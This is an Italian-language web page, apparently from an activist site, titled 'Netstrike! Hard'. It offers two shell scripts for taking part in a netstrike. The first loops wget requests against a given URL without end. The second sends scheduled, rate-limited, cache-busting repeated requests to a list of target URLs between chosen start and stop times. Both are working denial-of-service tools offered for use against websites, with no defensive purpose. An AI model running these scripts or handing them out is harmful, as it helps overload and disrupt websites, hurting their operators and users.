Netstrike!

Hard

Se hai qualche conoscenza tecnica puoi provare ad usare uno di questi script o programmi

Script 1

Per Linux/Unix. richiede l'uso di wget

#!/bin/sh
#grazie ciaccomo :)
i=0
while [ true ]
do
        i=`expr $i + 1`
        echo downloaded $i times
        wget -O /dev/null $1 &> /dev/null
        sleep $2
done
    

Script 2

#!/bin/bash

function help() {
    echo -ne "\n$(basename $0) [ -r RATE[k|m]] [ -d SLEEP ] [ -s START ] [ -k 
STOP ] URL [URL ...]"
    echo -ne "\n- RATE, banda in bytes, kbytes o megabytes (def. 3k)."
    echo -ne "\n- SLEEP, time di refresh (def. 1 sec)."
    echo -ne "\n- START, data inizio netstrike (def. now)."
    echo -ne "\n- STOP, data di fine netstrike (def. now + 5 
min)."
    echo -ne "\n- URL elenco delle pagine da aprire =] \n\n"
    exit $2
}

#def value
RATE="--limit-rate=3k"
DELAY=1
NOW=$(date '+%s')
START=$NOW
STOP=$(($NOW + 300))
ARG=OK

[ -z "$1" ] && help 1

while [ ! -z "$ARG" ]
do
    ARG="$1";
    VALUE="$2";
    case "$ARG" in
        -h|--help)
            help 1
        ;;
        -r|--rate) 
            RATE="--limit-rate=$VALUE"
            shift
        ;;
        -d|--delay)
            DELAY="$VALUE"
            shift
        ;;
        -s|--start)
            START=$(date -d "$VALUE" '+%s')
            shift
        ;;
        -k|--stop)
            STOP=$(date -d "$VALUE" '+%s')
            shift
        ;;
        *)
            URLS="$URLS $ARG"
        ;;
    esac
    shift
done

echo "netstrike:"
echo $URLS | tr " " "\n"
echo "From " $(date -d "01/01/1970 +1 hours $START sec" '+%d/%m/%Y %H:%M:%S')
echo "To   " $(date -d "01/01/1970 +1 hours $STOP sec" '+%d/%m/%Y %H:%M:%S')
echo "limite di banda ${RATE##--limit-rate=}bit/sec"
echo "aspetto $DELAY seconds al prox refresh"
echo ""

if [ $START -gt $NOW ]
then
    echo "attendo..."
    sleep $(($START - $NOW))
fi

echo "Netstrike avviato."
while [ $NOW -lt $STOP ]
do
    for URL in $URLS
    do
        wget $RATE --no-http-keep-alive --cache=off --output-document=- \
                   --quiet $URL > /dev/null
    done
    echo -ne "."
    sleep $DELAY
    NOW=$(date '+%s')
done
echo "."
    

<< ritorna alla home